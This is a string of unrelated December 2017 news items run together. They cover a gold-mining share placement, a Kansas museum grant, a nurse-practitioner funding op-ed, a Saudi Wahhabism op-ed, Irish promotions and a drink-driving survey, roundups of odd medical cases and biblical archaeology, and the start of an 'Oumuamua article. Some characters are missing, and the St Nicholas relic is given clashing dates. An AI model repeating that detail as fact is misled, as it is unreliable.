VANCOUVER, British Columbia, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Red Eagle Mining Corporation (TSX:R) (BVL:R) (OTCQX:RDEMF) is pleased to announce a private placement for gross proceeds of $5,615,908, consisting of 16,045,454 units (Unit) at a price of $0.35. Each unit is composed of a common share ("Share") and a warrant (Warrant) exchangeable into a Share at a price of $0.50 until August 7, 2022.

Proceeds will be used for working capital at the Santa Rosa Gold Project. The Shares and Warrants are subject to a four month hold period from the date of issuance. Final closing is expected to occur on or about December 21, 2017, subject to TSX approval.

About Red Eagle Mining

Red Eagle Mining is a gold producer focused on building shareholder value through acquiring, developing and operating gold projects in Colombia, a jurisdiction with prolific historic production but until recently limited modern exploration. Red Eagle Mining owns 100% of the Santa Rosa Gold Project and controls Red Eagle Exploration Limited which owns 100% of the Vetas Gold, California Gold and Santa Ana Silver Projects and is actively consolidating additional high grade precious metal deposits in Colombia.
Chapman Center for Rural Studies receives National Endowment for the Humanities grant to help museums and historical societies prepare for the future

Tuesday, Dec. 19, 2017

The Chapman Center for Rural Studies at Kansas State University has received funding from the National Endowment for the Humanities to help Kansas museums and historical societies plan and preserve collections, such as this 1910 postcard from Strong City. | Download this photo.





MANHATTAN  The Kansas State University Chapman Center for Rural Studies has been awarded $100,000 by the National Endowment for the Humanities to help rural historical societies and museums in Kansas with professional planning in collections, preservation and programming.



The Chapman Center grant  the only one awarded in Kansas  is one of 253 projects nationwide funded through the NEH in 2017.



Bonnie Lynn-Sherow, executive director of the Chapman Center and associate professor of history, said the grant will fund a two-year project to help small Kansas museums develop plans to help them succeed. She said vibrant small-town museums and historical societies are crucial to maintaining the economic health of rural communities because they broaden and solidify local identity.



"Local identity is largely based on peoples' understanding the history of their community, and local identity drives economic development because it helps communities brand themselves as unique places in drawing tourists and business investment," Lynn-Sherow said. "Local identity also generates community pride that helps sustain amenities in the community such as parks, good schools, and cultural events."



Small museums are typically staffed by highly committed volunteers who simply lack the tools to develop five- to 10-year plans, according to Lynn-Sherow.



Grant funds will support four beginning graduate students in the College of Arts and Sciences. They will receive training from Lynn-Sherow and the Center for Engagement and Community Development in museum planning and management as well as civic discourse. Under the guidance of Lynn-Sherow, they will then work as consultants with eight Kansas museums to develop plans for fundraising, exhibitions, public programming and preservation.



Lynn-Sherow said local institutions rarely have the technology or training to preserve their priceless collections through digitization.



"We hope local societies will move toward digital preservation," she said. "They can upload content to the web, and people from across the country can access their collections. This can inspire visitors to do research in their collection and publish their findings, which helps raise the visibility of the community."



Peter Dorhout, Kansas State University vice president for research, said the Chapman Center has had a positive impact on the state.



"This project is an excellent example of how K-State brings value to communities around the state, and we appreciate the National Endowment for Humanities funding for the Chapman Center for Rural Studies," Dorhout said. "The center has provided hands-on training for K-State students and resources to our state since it was established in 2007 and is a true land-grant outreach that enriches the lives of Kansans."



The project will help the Chapman Center continue to offer valuable experiences to Kansas State University students.



"The learning opportunity this grant provides to students  in being truly engaged with members of the nonacademic community  cannot be overstated," Lynn-Sherow said.



"This will be a life-changing experience for everyone and open the door to new career paths," she said.



The Chapman Center will match funds from the National Endowment for the Humanities with another $100,000 provided to the center through charitable gifts to Kansas State University via the Kansas State University Foundation. Selected graduate students will complete four projects in summer 2018 and four in 2019.






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Nurse practitioner (NP) education is seriously underfunded. The profession is attempting to saddle private physicians with this cost.

That is how Dr. X replied to my email asking whether he would be willing to precept a nurse practitioner student for her clinical rotation. I read through his clearly disgruntled letter and wanted to explain to him why NPs have to train on the backs of physicians and why funding for nursing education needs to change.

I couldnt argue with a lot of what Dr. X said in his email though. Yes, helping train a novice clinician, whether a medical student or a nurse practitioner, takes up time and that can equal money. And I will not argue with him that NP education is seriously underfunded. I definitely wont argue that this is a serious problem for the NP profession. But what I will debate are his comments that medical school provides medical training at huge costs, and that NP programs are attempting to train with the goodwill of physicians. This subject is far more complicated than he implies.

Graduate medical education (GME) is partially funded through federal tax dollars. Yes, we all contribute to the cost of training physicians. The federal government contributes about $9.5 billion in Medicare funds and Medicaid kicks in about $2 billion to help pay for GME at teaching hospitals. GME covers all physician specialties, not just primary care. Additionally, Veterans Administration Hospitals provide funding in their hospitals, and many private insurers support GME. Of course, medical schools also contribute to the cost of medical education for physicians. Through various funding sources, medicine receives financial incentives to train their students. However, nurse practitioner education does not have the same kind of endowment  financial responsibility rests solely with the students or schools.

First, a little background on advanced practice registered nurses (APRNs): APRNs are masters- or doctorate-level registered nurses who have advanced training. APRNs include nurse practitioners, clinical nurse specialists, certified nurse midwives and nurse anesthetists. They can diagnose illnesses, treat medical conditions and provide education to patients. Multiple studies show APRNs provide safe, affordable care and improve access, especially in primary care  an area in significant need. Research shows that the United States will need an additional 23,640 primary care providers by the year 2025. And fewer med students are choosing primary care. But APRNs  NPs in particular  can help with the growing shortage in primary care. But we need to train our APRNs first, so we need preceptors (medical mentors) to help with this training. Unfortunately, there is a preceptor crisis for APRNs. Due to changes in medicine and the influx of medical providers needing training, there are just not enough willing preceptors. How will we get enough well-trained APRNs if there are not enough willing preceptors to train them?

One answer is to financially incentive APRN preceptors. After all, it works for medicine. Why isnt NP education covered under Medicare and other federal funding? The fact is, NPs did not exist when Medicare was implemented, so their clinical training doesnt generally qualify for Medicare funding. However, in 2012, the Centers for Medicare and Medicaid Services (CMS) undertook a study called the graduate nursing education demonstration (GNE) to see if Medicare reimbursements given to practicing clinicians who supervised (precepted) the training of APRNs would increase the number of APRNs. In other words, will paying preceptors incentivize more medical providers to precept resulting in more APRNs? In September of this year, a report to Congress demonstrated that it does. It was both feasible and affordable for Medicare to pay hospitals to help increase clinical training opportunities for APRNs in community and hospital settings. The demonstration is in its sixth year, and an independent CMS evaluation showed a significant increase in APRN primary care providers.

Funding GME makes sense because we need a knowledgeable and well-trained physician workforce. But funding medical education for APRNs also makes sense! Its time to change antiquated policies in funding, policies that have barely evolved since Medicares inception in 1965. The responsibility of training APRNs should be shared by the student, the nursing programs, and government agencies. Policy changes must be made to Medicare to support and compensate for APRN clinical training. APRNs can be part of the solution for the primary care shortage. However, many changes must be made in funding the current training process to succeed. But in the meantime, Dr. X., can you please help precept an NP student?

Lynn McComas is a nurse practitioner.

Image credit: Shutterstock.com
Tjae Williams, a student of St. Ann Catholic Outreach Centers After School Program, was so excited to wear his scarf and gloves that he pulled the entire package over his head. Williams and his classmates enjoyed an afternoon of fun, acting in plays for the Sisters and opening gifts, which included educational items, snacks and a scarf and gloves for each child. Photo by Michaele Duke
By Doug Bandow





Saudi Arabia and the United Arab Emirates have attacked their neighbor, Qatar, for supposedly supporting terrorism. They pretend to be firefighters, but spent years as arsonists.



Saudi Crown Prince Mohammed bin Salman has been consolidating power while posing as a reformer. The only positive so far of his de facto reign is his recent decision to liberalize Saudi social life. Women now can breathe and even drive.



However, he has not relaxed political or religious controls. Most important, while limiting the influence of fundamentalist clerics at home, he has not yet dropped the Kingdom of Saudi Arabia's longstanding support for radical Islamism abroad.



The kingdom spends as much as $4 billion annually promoting its uniquely intolerant brand of Salafist Islamic thought, aimed at the "purification" of the faith known as Wahhabism. By enforcing this rigidly intolerant theology the kingdom has acted like a housebroken version of the Islamic State.



Indeed, the two powers used the same school textbooks. The New York Times reported ISIS "circulates images of Wahhabi religious textbooks from Saudi Arabia in the schools it controls. Videos from the group's territory have shown Wahhabi texts plastered on the sides of an official missionary van."



Even some Saudi commentators noted that upwards of 4,000 Saudi youth may have joined ISIS in Syria, second only to the number of Tunisians. Turkish cleric Mehmet Gormez asked a group of Saudi clerics about 45 Saudis executed for terrorist offenses: "These people studied Islam for 10 or 15 years in your country. Is there a problem with the educational system"?



The Saudis have continued despite increased violent radicalism. Complained former Sen. Bob Graham, who served on the 9/11 commission: "They have continued, maybe accelerated their support for the most extreme form of Islam."



Wahhabism originated in the 18th century. Political and religious officials formed a brutal partnership. As the International Center for Religion and Diplomacy (IRCD) reported: "Political obedience, then, was made an Islamic duty, and Salafist obedience was made a royal obligation."



In recent years the Saudi royals have spent $3 to $4 billion a years on educational fellowships and scholarships, Islamic clergy and scholars, academics and journalists, construction projects, operating funds, and school materials. Of particular concern are the kingdom's educational efforts, which are directed at radicalizing all who use them.



Textbooks and other materials tend to show anyone who does not profess Wahhabist precepts in, shall we say, a bad light. Over the years a number of studies have found highly negative results.



ICRD noted, "The consensus findings of these reports demonstrate a consistent pattern of using the educational curriculum to generate a climate of broad-based intolerance for non-Salafist identity groups." Despite promises of change hostility to others remains the basis of Saudi education.



Earlier this year David Andrew Weinberg of the Foundation for Defense of Democracies observed: "The language in 2016-2017 Saudi textbooks that calls for killing people who engage in adultery, anal sex, apostasy, or certain supposed acts of sorcery are not the only passages that encourage violence against those who act in a manner inconsistent with the state's vision of Islam."



Riyadh's lavish support for the otherwise marginal Islamic thought has radicalized Muslims globally. Thomas Hegghammer, a Norwegian terrorism specialist, argued the Saudis have hindered the sort of moderating evolution seen in Christianity, most notably the Reformation and Second Vatican Council: "If there ever was going to be an Islamic reformation in the 20th century, the Saudis probably prevented it by pumping out literalism."



Admittedly, Wahhabism's relationship with terrorism remains indirect. It essentially is a theology of hate and intolerance, or what the group Freedom House called an "ideology of religious hatred."



Unfortunately, the ICRD warned: "A number of violent extremists around the world have reported that their radicalization first began when they were exposed to Salafist literature or websites." Manas Sen Gupta of the website TopYaps complained: "The Wahhabi doctrine will keep on creating terrorists who will keep on killing innocents.



Riyadh wants to play America's friend. However, as long as the kingdom creates fertile ground for Islamic extremism, the U.S. is likely to find terrorists being created faster than they are being killed.



Indeed, Saudi Arabia's malign campaign may help explain why the more effort the U.S. puts into fighting extremist forces abroad, the more violent radicals Washington seems to find. The U.S. must convince its supposed ally to stop spreading hate around the globe.





Doug Bandow is the senior fellow and former special assistant to President Ronald Reagan. He is the author of "Foreign Follies: America's New Global Empire."


Christmas has come early for five lucky people following an epic social media giveaway from Irish convenience retailer, Gala Retail, which saw the convenience group give away a brand new 181 Toyota Aygo to one lucky winner and 350 One4All vouchers to four runners up in the competition with one of the lucky winners being ClI Bohan ODonnell from Cortober, Carrick-on-Shannon.

The giveaway of the 181 Toyota Aygo marked the beginning of a year of celebrations to celebrate the retail groups 20th year in business. The groups Facebook page, which has over 150,000 fans, invited Facebook users to enter the giveaway by guessing the location of Gala stores in Ireland based on a selection of cryptic clues shared throughout December.

A shortlist of five finalists was selected, with one winner and four runners up receiving prizes presented to them during a surprise visit from the Gala team last Sunday.

Speaking on her win, ClI said: Im over the moon to have come runner-up in the Gala Car Giveaway. I was totally taken aback when I opened the front door on Sunday to find the Gala team there, who presented me with a 350 One4All Voucher.

Its such a great prize to receive, particularly now in the run up to Christmas, and Id like to say a huge thank you to Gala Retail!

Gary Desmond, CEO of Gala Retail, added: This Facebook giveaway marks the beginning of Galas celebrations of 20 years in business and these celebrations are focused on giving back to our customers and supporters and the communities in which our stores operate.

We believe that all of our five finalists deserved a Gala Gift in the run up to Christmas and we were thrilled to be able to present the runners up with their vouchers. Wed like to say a big congratulations and wish a Happy Christmas to all of the finalists and we look forward to giving our customers more opportunities to win great prizes through the in store promotions that we have planned for next year.

2018 will be the focus of the Gala 20th year celebrations and will see a range of marketing activities launched to mark the occasion. In addition to launching the Gala Gifts for Schools school grants scheme in early 2018, a huge in store promotion will take place later in the year with giveaways for customers in every community in which Gala operate.

Next year will also see Gala continuing its partnership with the Irish Film & Television Academy with the IFTA Gala TV Awards and continue to support Special Olympics Ireland at the Special Olympics Ireland Games due to take place in Dublin in June 2018.
This Christmas, eir is bringing great together with a winning combination of broadband and 4G. To complement its brilliant +brilliant = super brilliant ad campaign, Irelands biggest telecommunications company set about finding other brilliant pairings and favourite funny moments of the festive season.

In a nationwide poll, based on a survey size of 1,000 people, eir discovered that the following joke was Irelands favourite festive gag:

Q: What do you get if you cross Santa with a duck?

A: A Christmas quacker!

A doctor, doctor Christmas cracker joke was voted as Irelands second favourite joke

Patient: Doctor, doctor, Im scared of Santa.

Doctor: Youre suffering from Claus-trophobia.

The Christmas Craic-eir Report reveals that one in five Irish people have the most festive fun by telling Christmas cracker jokes over dinner on the 25th December. There is certainly no shortage of laughter over the festive period as 29% of the nation revealed that watching an adult struggle to assemble a child's Christmas present raises the most chuckles on Christmas Day. The report also highlights that the younger generation dont seem to care if theyre naughty or nice - one in four people aged 18-24 claim that watching a loved one unwrap an intentionally bad Christmas present cracks them up the most.

Professor Richard Wiseman, the UKs renowned Professor of Laughter*, viewed the survey results. He commented, Research shows that laughter helps people bond together, and so its great that so many people are able to see the funny side of Christmas. My own work has shown people find the words duck and quack especially funny, and so that may account for the top-rated Christmas cracker joke. And, from a psychological perspective, theres more to cracker jokes than meets the eye - I suspect that they are very poor on purpose, so that if they dont get a chuckle, people can blame the jokes rather than their joke-telling skills!

The Christmas Craic-eir Report also delved deeper into other brilliant combinations of things that add up to make Christmas great, and it turns out that the people of Ireland still cherish the TV comedy classics, particularly the classic Christmas specials. Two in five voted Del Boy and Rodney from Only Fools and Horses as their all-time favourite duo, edging ahead of Sherlock and Dr Watson, another famous London pair also known for securing large TV audience figures around the Christmas holidays.

Finally, the eir research provides further empirical evidence to support the annual debate on the greatest Christmas song of all time. Almost half of the country confirmed Shane McGowan and Kirsty MacColls recording of Fairy-tale of New York was their all-time favourite Christmas duet. Bing Crosbie and Frank Sinatras classic rendition ofWhite Christmas was deemed Irelands second favourite Christmas duet with 16% of the nations vote. Another Bing Crosbie duet, albeit a slightly more unusual and unexpected combination, with none other than Ziggy Stardust (aka David Bowie) rounded up the top three favourite duets. 13% of the country voted for their version of Little Drummer Boy.

This Christmas, eir is celebrating the many things that are possible when you bring great together - like bringing Irelands No. 1 broadband and powerful 4G mobile together for amazing value. As part of eirs new bundles offer, customers choosing the broadband and landline bundle for 40 for the first 12 months can avail of 50 cashback offer. Customers choosing the high-speed broadband, free access to eir Sport and BT Sport, landline and mobile offer for 40 for the first 12 months** (on a 24-month contract) can also avail of a free eir branded tablet.


AA Car Insurance survey finds that over 1 in 10 people have been in a car where they knew or suspected that the driver was over the legal blood alcohol limit within the past 24 months.

Motorists are being warned of the dangers posed by drink driving ahead of the Christmas season, with AA Ireland stating that the effects of alcohol on driving can linger on long after a night out.

A recent AA Car Insurance survey of over 6,000 motorists found that 1 in 5 people have, on at least one occasion in the past year, driving on the morning after a night out while unsure of if they were within the legally permissible blood alcohol limit. 12.45% of those surveyed that they had driven the morning after the night before on one occasion despite being unsure of whether or not they were over the limit, while a further 8.12% admitted to doing this on up to five occasions.

Over the Christmas season we all deserve and most certainly will be enjoying the time off with friends and family but, where alcohol is concerned, the laws do not change just because its the holiday season. If you have been drinking its of vital importance that you dont get behind the wheel of a car until it is safe for you to do so, Conor Faughnan, AA Director of Consumer Affairs warned.

While the majority of us would never think of drinking and driving on the same night, we often forget that alcohol can continue to impact on your concentration, reaction times and driving ability into the following day, depending on how much you have consumed.

Everyone wants to have an enjoyable Christmas so for the sake of all road users, whether they drive, walk or cycle, if you have been drinking stay away from your car and do your part to make the roads safer. If you are nursing a hangover stay in, watch a movie, eat chocolate, do whatever it takes to comfort yourself just dont get behind the wheel

The AA Car Insurance survey also found that within the past 2 years, over 1 in 10 Irish people have been a passenger in a car where they suspected or knew that the driver was over the legal blood alcohol limit on at least one occasion.

5.19% of respondents stated they had found themselves in such a situation once within the past 24 months, while 4.56% admitted it had happened up to 5 times. Meanwhile, over a fifth of those surveyed admitted they had been a passenger in a car where the driver was severely hungover within the past two years.

Drink-driving is by no means confined to a specific time of the year, but with so much going on over the Christmas period we do unfortunately see a spike in such behaviour this time of year, Faughnan added. Even if you are only a passenger in a car you have a responsibility to ensure the driver behaves legally. For your own safety you shouldnt get into a car where the drivers ability may be compromised but for the sake of all road users you should do what you can to ensure they dont drive any further.
Strange medicine in 2017

(Image credit: The New England Journal of Medicine 2017. )

From a woman who sweats blood to a man with a giant stone in his bladder, a number of intriguing medical cases made headlines in 2017.

As descriptions of individual patients, medical case reports lack the rigor of scientific studies with hundreds or thousands of people. But these reports can help doctors better understand rare diseases or spot unusual signs of common conditions. Case reports may also reveal potentially harmful effects of treatments or procedures.

Here are 10 of the strangest case reports Live Science covered in 2017.

Munching on metal

(Image credit: The BMJ)

A 52-year-old man in France was found to have more than 100 pieces of metal in his stomach, including nails, knives, screws and coins.

The man went to the emergency room five times over a five-year period with various symptoms, including stomach pain, nausea and vomiting up blood. Doctors needed to operate on four of those occasions to remove the massive clumps of indigestible material  in this case, metal  known as "bezoars." That includes the occasion when they found the more than 100 metal pieces. These clumps were so large that they prevented the man's stomach from emptying.

The man was diagnosed with psychosis, which means losing touch with reality.

He recovered from his surgeries and was referred to behavioral and mental health providers for further treatment. The case was published Sept. 27 in the journal BMJ Case Reports.

Sweating blood

(Image credit: Reprinted with permission from CMAJ)

A 21-year-old woman in Italy was diagnosed with a mysterious condition that causes her to sweat blood. The woman periodically experienced bleeding from her face and palms, without any cuts or skin lesions.

While the woman was in the hospital, her doctors observed an episode in which bloodstained fluid oozed from her face. She was diagnosed with hematohidrosis, a rare condition that has been reported just 42 times since 1880.

The cause of the condition is unknown. Some researchers have hypothesized that increased pressure in blood vessels causes blood cells to pass out of the blood vessels and into the ducts of the sweat glands. Other scientists have speculated that the condition may result from the activation of the body's "fight or flight" response, which in rare cases may also cause the rupture of small blood vessels.

A report of the case was published Oct. 23 in the Canadian Medical Association Journal.

A dangerous "eyeball tattoo"

(Image credit: Catt Gallinger/Facebook)

A 24-year-old model experienced serious complications after she got an eyeball tattoo," a procedure that experts say is unsafe.

The model, Catt Gallinger, had purple tattoo ink injected into the white part of her eye, a practice known as "sclera tattooing." But she soon experienced serious symptoms, including blurry vision, eye pain, swelling and the oozing of purple liquid (colored by the tattoo ink) from her eye.

Gallinger was put on medications to help with her eye pain, along with antibiotics and steroids, and she later underwent surgery to remove excess ink from her eye, according to her Facebook posts. Following the surgery, she said her eye finally appeared to be getting better and she was experiencing less pain than before.

Some of the risks of eyeball tattoos include vision loss or blindness, infection from the ink, sensitivity to light, and a potential loss of the eyeball, according to the American Academy of Ophthalmology.

An oversize bladder stone

(Image credit: The New England Journal of Medicine 2017)

Bladder stones are mineral masses that form in the bladder, and they can range in size from nearly microscopic to an inch or more in diameter.

One California man was found to have an exceptionally large stone; it was nearly the size of an ostrich egg. The stone measured 4.7 inches by 3.7 inches by 3 inches (12 by 9.5 by 7.5 centimeters) and weighed a whopping 1.7 lbs. (770 grams).

More than a decade earlier, the man had required surgery to remove his bladder as a treatment for bladder cancer. During that surgery, doctors used segments of the man's intestine to create a "neobladder." Such a neobladder can function as a replacement bladder, but it increases the risk of developing bladder stones.

Doctors performed surgery to remove the bladder stone, and the man had no complications from the surgery. The report was published Sept. 6 in The New England Journal of Medicine.

Magnets in the nose

(Image credit: The New England Journal of Medicine 2017)

Magnets can be hazardous toys for children. Just take the case of an 11-year-old boy in Cyprus who, while playing with button magnets, inserted two of the flat, circular objects up his nose.

With one magnet in each nostril, the two magnets were attracted together, and began pinching the wall between the boy's nostrils, called the nasal septum.

The boy was taken to the emergency room, where he arrived with symptoms of bleeding and severe pain in his nose.

He required surgery to remove the magnets and to treat an area in his nose that had been damaged. When the boy came back for a checkup six months later, his nose had fully healed.

A report of the case was published Oct. 25 in The New England Journal of Medicine.

Migration of an IUD into the bladder

(Image credit: Wei Chai; Wenlei Zhang; Guifeng Jia; Miao Cui; Lifeng Cui/CC BY-SA 4.0)

Intrauterine devices (IUDs) are generally very safe and effective as a method for preventing pregnancy. But in a rare case, an IUD migrated from a woman in China's uterus to her bladder.

When the 26-year-old woman went to the hospital with bladder problems, doctors performed an X-ray of her pelvis and saw she had an IUD in her bladder. (The IUD had been inserted six years prior, but the device apparently failed, and she became pregnant. During a cesarean section to deliver the baby, doctors didn't see any signs of the IUD at the time.)

The device apparently went through the wall of the uterus, and once it was in the pelvic cavity, it went through the wall of the bladder, according to a report of the case that was published in the October issue of the journal Medicine. The woman had a procedure to remove the IUD from her bladder and did not experience any further complications.

Pregnancy with an IUD is rare, occurring in less than 1 percent of women who use the devices per year. Rarer still is perforation of the uterus by an IUD, which happens in about 1 in 1,000 women who get the devices.

A bullet lands in man's eye socket

(Image credit: Reproduced with permission from JAMA Ophthalmology. 2017. doi: 10.1001/jamaophthalmol.2017.40502017. Copyright 2017 American Medical Association. All rights reserved.)

When a 45-year-old man was shot at with a 0.22-caliber pistol, the bullet traveled through a wooden door and came to rest in the man's eye socket.

Doctors captured a striking image of the bullet lodged in the man's eye socket. The bullet did not fracture the man's skull.

The man was in severe pain when he arrived at the emergency room. Doctors could see an entry wound for the bullet in the corner of the man's eye, and there was damage to the tear ducts in the eyelid.

The man had surgery to remove the bullet and repair the damage to the tear ducts. Afterward, the man's pain lessened rapidly, and his vision wasn't affected by the bullet, according to the report of the case, which was published Nov. 30 in the journal JAMA Ophthalmology.

A woman's scalp is torn off, then reattached

(Image credit: BMJ Case Reports/CC BY-NC 4.0)

In a gruesome accident, a woman had her entire scalp detached from her head when her hair got caught in a spinning machine.

During the accident, the woman's scalp was torn off from the top of her nose to the back of her head. The tops of both her ears also came off along with the scalp.

But her scalp was salvaged in a plastic bag with ice, and surgeons were able to reattach it to her head.

Following the surgery, the 64-year-old woman made an "amazing" recovery, her doctors said. One year after the accident, she had sufficient hair growth on her scalp, and she was able to open and close both her eyes. She told her doctors that she didn't have problems with her daily activities as a result of the accident.

The case was published Oct. 24 in the journal BMJ Case Reports.

(Image credit: The BMJ)

A 67-year-old woman in England was found to have a whopping 27 contact lenses in one eye.

The woman was about to have cataract surgery when her doctors saw a "blueish" foreign object under her upper eyelid. The object turned out to be a mass of 17 contact lenses, and then her doctors discovered another 10 contacts in the same eye.

The woman told her doctors that she had discomfort in that eye, but thought it was due to dry eye and old age. The doctors postponed the surgery because the glob of contact lenses could have allowed bacteria to accumulate in the woman's eye.

The case was published July 5 in the journal The BMJ.

A tattoo sparks an ethics debate

(Image credit: The New England Journal of Medicine 2017. )

A Florida man's unusual tattoo sparked an ethical debate among his doctors. The man, who arrived unconscious at the hospital, had the words "do not resuscitate" tattooed on his chest.

His doctors were torn: Should they honor the tattoo, without an official "do not resuscitate" (DNR) order? Or should they plan to resuscitate the man anyway, since they were uncertain if the tattoo really reflected his wishes?

A medical ethics expert advised the doctors to honor the patient's tattoo, because it was reasonable to assume the tattoo "expressed an authentic preference."

Later, the hospital found that the man actually did have an official DNR order with the Florida Department of Health. The man's condition soon deteriorated, and he died without undergoing CPR or invasive life-support methods, according to his wishes.

A report of the case was published Nov. 30 in The New England Journal of Medicine.
Introduction

(Image credit: Nag Hammadi Library, Oxford University)

2017 was a big year for those who love biblical history.

Discoveries from ancient saints, new finds from the Holy Land and relics of Jesus himself revealed new insights into the people who lived and died during biblical times. This year, scholars and archaeologists made several discoveries that are shining new light on these enigmatic biblical figures.

From a forbidden teaching of Jesus' to Santa's pubic bone, here are some of the biggest stories in biblical archaeology from 2017.

Tomb of Jesus

(Image credit: Shutterstock.com)

A tomb that is thought to have once held the body of Jesus is 1,700 years old, recent dating has found. The Church of the Holy Sepulchre in Jerusalem covers a shrine that, the faithful believe, covers the tomb where Jesus was put to rest after his crucifixion. Legend has it that Helena, mother of Emperor Constantine, discovered the tomb in A.D. 345. For the next few centuries, the Romans protected the tomb by building a shrine and subsequent church over it. Whether Jesus was ever placed in the tomb is still unknown, but when the tomb was opened for the first time in centuries this year, researchers used a light-based technique to show that the quartz embedded in the limestone tomb hidden beneath the church was last exposed to light around A.D. 345. That backed up the notion that the shrine was built around the time of Constantine's reign. [Religious Mysteries: 8 Alleged Relics of Jesus]

Catacomb Christ

(Image credit: Shutterstock.com)

An ancient painting of Jesus was uncovered in the Roman Catacombs, and scientists found the dramatic picture  depicting Jesus welcoming the dead  is at least 1,600 years old. The painting was found among other elaborate frescoes uncovered in the catacombs of St. Domitila, a set of labyrinthine tunnels that wend their way under modern-day Rome. The frescoes were found after a laser cleaning, in a burial chamber of a wealthy grain merchant. The chamber itself was known for 400 years, but the paintings were hidden beneath years of dirt and grime. [In Photos: A Journey Through Early Christian Rome]

Jesus' secret revelations

(Image credit: Nag Hammadi Library, Oxford University)

A garbage heap full of donkey sales' receipts and old tax statements yielded a surprising treasure: the oldest known copy of an apocryphal teaching of Jesus, known as the the First Apocalypse of James. This ancient text, which is written from the perspective of Jesus' brother James, was uncovered in the late 1800s in Oxyrhynchus, Egypt, in a trove of papyri documents, and recently reanalyzed. The gospel describes demonic figures known as archons, which try to keep James shackled to the corrupt material world. The First Apocalypse of James has an unorthodox gnostic perspective and was deemed heretical by church fathers, meaning it was never part of the official Bible. That makes the Oxyrhynchus find all the more surprising, as the text contains little dots interspersed throughout that suggest it was used as a teaching tool, researchers said. [9 Biblical Theories, Conjectures and Heresies]

Ancient Canaanites

(Image credit: Dr. Claude Doumet-Serhal/The Sidon Excavation)

The Canaanites, the neighbors and perennial enemies of the historical Israelites are likely the ancestors of modern-day Lebanese people, a new genetic study published this year revealed. That conclusion came from analyzing the bones of five skeletons found in the ancient Canaanite city of Sidon, in what is now Lebanon. Researchers compared the genetic material from the ancient inhabitants of Sidon with the DNA of 99 modern-day Lebanese people living in the area. They found broad overlap between the two groups. In fact, the researchers said, ancient Canaanites likely shared the hair and skin coloring of modern-day people from Lebanon.

Jesus-era "Pottery Barn"

(Image credit: Samuel Magal/Israel Antiquities Authority)

In the New Testament, when Jesus turned water into wine at the Wedding at Cana, he uses six goblets made of stone, according to John 2:6. Those stoneware goblets would have looked a lot like the finds unearthed at a huge, biblical-era stoneware "factory" that was discovered in Galilee in August 2017. The stone quarry and workshop would have been used to craft vessels made of chalkstone, which, according to Jewish ritual purity laws, can be cleaned after touching "unclean" objects, unlike more porous, clay-based vessels, according to the Israel Antiquities Authority. The finds shed light on how Jews at the time observed the laws laid out in the Jewish Bible, experts said. [Biblical Battles: 12 Ancient Wars Lifted from the Bible]

King Solomon's mines

(Image credit: Erez Ben-Yosef, Tel Aviv University)

Archaeologists in Israel also unearthed a mining camp that operated during the reigns of King David and King Solomon, around the 10th century B.C. The copper mining camp harbored a gatehouse at the top of a hill, and included donkey stables, researchers from Tel Aviv University reported in January. The finds are part of a massive, intricate copper mining network that could have served as the real "King Solomon's mines," archaeologists said in a paper published in January in the Journal of Archaeological Science. [The Holy Land: 7 Amazing Archaeological Finds]

Biblical boozehounds

(Image credit: American Friends of Tel Aviv University (AFTAU))

While tastes have changed over the millennia, the love for a good, stiff drink is apparently eternal. A shard of pottery that was first found in Israel in 1965 at the biblical-era fortress of Arad recently revealed new insights. The inscriptions on the front of the shard of pottery, or ostracon, were first deciphered decades ago and include an invocation of God and descriptions of the exchange of money. Imagine researchers surprise, then, when they flipped over the ostracon earlier this year and found a very different message, the gist of which was: Send more wine, please! Apparently, ancient Israelites were as fond of ethanol as modern-day people.

Ho, ho, holy relic!

(Image credit: copyright T. Higham and G. Kazan)

Scientists recently uncovered a new holy relic: a pubic bone from the fourth century that may once have belonged to jolly old St. Nick. Though Santa and his Arctic workshop of tireless elves and trusty reindeer sidekicks may be fiction, Saint Nicholas really did live  and died in Myra, in what is now Turkey, in A.D. 343. New radiocarbon dating found that the pubic bone fragment is about 700 years old, meaning it could really have come from the historical Santa Claus. However, the pubic bones' provenance is up for debate. St. Nicholas' bones were interred as relics in Myra for centuries, until thieves stole them and eventually brought them to two Italian churches. However, the pubic bone didn't come from those churches. Instead, the bones are tied to an anonymous collector who has sold more than 1,000 supposed relics in places such as eBay, including numerous nails and fragments of a crown of thorns claimed to be from the crucifixion of Jesus, Live Science reported.

Dead Sea Scroll knockoffs?

(Image credit: Lemer Vadim/Shutterstock.com)

Biblical artifacts showcased in the Museum of the Bible in Washington, D.C., which opened Nov. 17, could be forgeries, scholars said. The fragments are labeled as Dead Sea Scroll fragments and are part of a cache of "newly discovered" scrolls that have flooded the market since 2002. The original Dead Sea Scrolls collection of thousands of ancient papyri written by ancient Jews before and after Jesus' death, were first discovered in a cave in Qumran in the 1940s and 1950s. The scrolls on display at the Museum of the Bible, which is bankrolled by the Hobby Lobby company, have certain hallmarks of forgery, experts said, including not containing any new lines of text and having irregularities in the spacing and shaping of the letters, biblical scholars told Live Science. [In Photos: New Dead Sea Scrolls Revealed]

Spoils of War

(Image credit: U.S. Attorney's Office Eastern District of New York)

The controversy around the Dead Sea Scrolls fragments isn't the only one to engulf the Museum of the Bible. In June, the Hobby Lobby company was slapped with a complaint from the U.S. Attorney's Office for the Eastern District of New York, for purchasing stolen cuneiform tablets that were smuggled out of war-torn Iraq. The company's founder, David Green, has been snapping up biblical artifacts at a dizzying pace in recent years to fill his biblical museum. But that hasty pace of acquisition may have led Hobby Lobby not to properly investigate the origin of every artifact it acquired, biblical scholars told Live Science. Hundreds of thousands of precious artifacts have been looted from Iraq since the start of the Iraq War, and small, portable artifacts such as cuneiform tablets are especially prone to looting, since they are so easy to carry, an expert told Hobby Lobby in 2010.
This view of the interstellar object 'Oumuamua was captured by the 4.2-meter William Herschel Telescope in La Palma in Spain's Canary Islands.

Although it looks like an asteroid, the first interstellar object spotted passing through the solar system, called 'Oumuamua, may be more like a comet in disguise.

When astronomers first spotted the oblong, tumbling interstellar object 'Oumuamua passing through the solar system in October, they were surprised  not only did it come from outside the solar system, according to its trajectory, it seemed to be an asteroid, rather than the comet researchers thought was more likely for an interstellar visitor.

However, a new paper suggests 'Oumuamua may be made of ice, like a comet, just disguised with a protective crust. ['Oumuamua: The Solar System's First Interstellar Visitor in Photos]

According to professor Alan Fitzsimmons from the Queen's University Belfast, Northern Ireland, there is much more "icy stuff than rocky stuff" in the solar system, making it more likely for emissaries from other systems to also be icy, if other solar systems evolved in the same way.

"We know that our solar system has ejected many more icy bodies then rocky bodies," Fitzsimmons, lead author of the paper published today (opens in new tab)(Dec. 18) in the journal Nature Astronomy, told Space.com.

